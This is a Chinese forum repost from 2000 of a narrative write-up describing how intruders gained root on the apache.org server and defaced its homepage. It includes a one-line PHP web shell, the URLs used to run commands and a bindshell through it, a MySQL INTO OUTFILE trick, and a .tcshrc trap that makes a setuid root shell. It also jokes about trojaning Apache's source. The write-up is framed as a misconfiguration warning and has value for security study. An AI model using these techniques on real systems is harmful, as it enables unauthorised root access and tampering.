?? 我們是如何攻破www.apache.org的.txt
字號:
發信人: aeroboy (三靜), 信區: Security
標 題: 我們是如何攻破www.apache.org的
發信站: 北大未名 (Fri Jun 9 09:58:06 2000), 轉信
一、寫在前面
這篇文章并不是發現了什么最新的漏洞,它只是指出了一個普通的配置錯誤--甚至連ap
ache.org 的工作人員也會配置錯誤:),所以這只是一個警告:修補你的系統,才能防止
惡意侵襲。
二、介紹
這里描述了我們如何在一周內成功地得到了運行www.apache.org的機器的root權限并且
將其主頁面上的Powered by Apache圖樣(羽毛狀的圖畫)改成了Powered by Microsof
t BackOffice的圖樣,沒有做其它的任何改動了--除了幫他們趕跑了另外(可能是惡意)
的入侵者。
這里所描述的漏洞甚至不是apache相關的,它們僅僅是配置失誤,其中之一是BugZilla
的……但它的開發者在README文件中對配置方法做了詳盡的描述,所以——一切只能是
使用者自己的責任了,apache的用戶不必為此而擔心的:)。
我們對www.apache.org進行嘗試的原因是有太多的服務器上跑的都是阿帕奇了,如果它
的主機是不安全的,那么入侵者就可能在它的源代碼里放置后門,這會危及許多用戶的
利益。
當然我們不愿看到這種事發生,所以我們幫apache補上了漏洞——當然在得到了ROOT 權
限之后我們無法控制自己更改主頁的欲望:),開個小玩笑吧。
以下是整個入侵的過程:
1、ftproot == wwwroot
o+w dirs
在尋找apache httpserver想要查看新版本是否存在緩沖溢出的過程中——我們連接上了
ftp:/ftp.apache.org——和http://www.apache.org是同一個目錄并且有一個可寫的目
錄存在!
于是我們寫了一個小腳本wuh.php3包含了下面的語句:
<?
passthru($cmd);
?>
將它上傳到了那個可寫的目錄中。
2、Our commands executed
所以,很方便的,id這個命令可以被下面的語句調用:
http://www.apache.org/thatdir/wuh.php3?cmd=id
而后再上傳一些bindshell的程序并用類似
http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c
的語句來編譯它,然后執行……
http://www.apache.org/thatdir/wuh.php3?cmd=./httpd
3、The shell
我們使用的bindshell程序是有密碼驗證的:),相對安全一些。
現在我們可以telnet到端口65533——我們定義的端口綁定處了,這樣我們得到了本地n
obody權限的進入權——因為cgi是以nobody身份運行的。
4、The apache.org box
在apache.org的機器里我們發現了:
-o=rx /root
-o=rx homedirs
apache.org運行的是freebsd3.4的平臺,我們不想僅僅通過緩沖區溢出或者亂七八糟的
exploit來得到root,讓我們來試試僅僅通過他們自己配置的漏洞來得到最高權限吧!
5、Mysql
經過長時間的搜索,我們發現mysql是以root的權限運行的,并且可以本地運行,因為a
pache.org還運行了bugzilla需要mysql帳號,并且將其用戶名/密碼明文存放,所以很輕
易的就可以獲得mysql數據庫的帳號密碼。
我們下載了nportredird(從名字就可以知道應該是端口重定向的工具了),并設置成允許
我的IP從23306端口接入并且重定向到本地的3306端口——這樣我就能使用我的 mysql客
戶端了。
6、完全控制mysql,用它來建立文件
通過3306端口進入后,用bugs的帳號進入——BugZilla默認安裝帶來的安全問題之一吧
…… 包括以root身份運行mysqld……。
用'SELECT ... INTO OUTFILE;'的方法,我們可以在任何地方以root的身份建立文件,
這些文件將是666權限的,無法覆蓋其它文件,但它仍然是有用的,你準備如何利用它呢
?無法用.rhosts——任何人可讀的.rhosts,rshd是不允許連接運行的,所以rsh無法利
用。
7、添加/root/.tcshrc
于是我們決定給他下個套:),于是我們在root的文件夾建立一個文件/root/.tcshrc
#!/bin/sh
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc
8、ROOT!!
就這么簡單,現在我們可以等待某人來運行su了,很幸運的——我們沒有等太久,就得
到了一個suid的shell,成為root后的事情也是同樣微不足道的——更改主頁并且給主機
的管理員發送了Email通知了存在的漏洞。
9、修補ftproot==wwwroot的漏洞
進入系統后我們做的另一件是建立ftproot,將dist移至ftproot/dist并且將ftproot指
向這個目錄,將可寫的目錄更改成入侵者無法利用的,保持FTP服務不變……
10、我們可以做什么?
還記得去年發生在ftp.win.tue.nl的事嗎?有人在tcp_wrappers里放了木馬:),如果我
們想這么做的話,就可以將木馬放在阿帕奇里——編輯源程序并讓大家來下載這個有木
馬后門的版本,很刺激,不是嗎:)
11、簡要回顧:
發現ftproot==webroot--->可寫的目錄允許上傳php3腳本--->mysqld以root運行,而且
缺乏密碼保護……這就是配置錯誤所在了。
好了……一切順利:)
摘自:安全焦點
--
張三慕李四
靜心難靜思
何處佳人去
濤聲隱蹤息
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -